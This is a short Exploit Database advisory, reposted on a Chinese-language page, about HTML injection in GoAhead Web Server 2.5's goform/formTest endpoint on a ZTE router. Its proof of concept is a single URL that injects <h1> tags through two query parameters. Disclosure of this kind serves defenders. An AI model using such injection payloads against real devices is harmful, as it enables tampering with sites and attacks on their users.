GoAhead Web Server 2.5 – ‘goform/formTest’ Multiple HTML Injection Vulnerabilities

• Exploit Database
• 15 阅读

• 作者： Syed Affan Ahmed (ZEROXINN)
  日期： 2024-01-31
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/51762/

• # Exploit Title: GoAhead Web Server 2.5 - 'goform/formTest' Multiple HTML Injection Vulnerabilities
  # Date: 25/9/2023
  # Exploit Author: Syed Affan Ahmed (ZEROXINN)
  # Vendor Homepage: https://www.embedthis.com/goahead/
  # Affected Version: 2.5 may be others.
  # Tested On Version: 2.5 in ZTE AC3630
  
  ---------------------------POC---------------------------
  
  GoAhead Web Server Version 2.5 is prone to Multiple HTML-injection vulnerabilities due to inadequate input validation.
  
  HTML Injection can cause the ability to execute within the context of that site.
  
  http://192.168.0.1/goform/formTest?name=<h1>Hello</h1>&address=<h1>World</h1>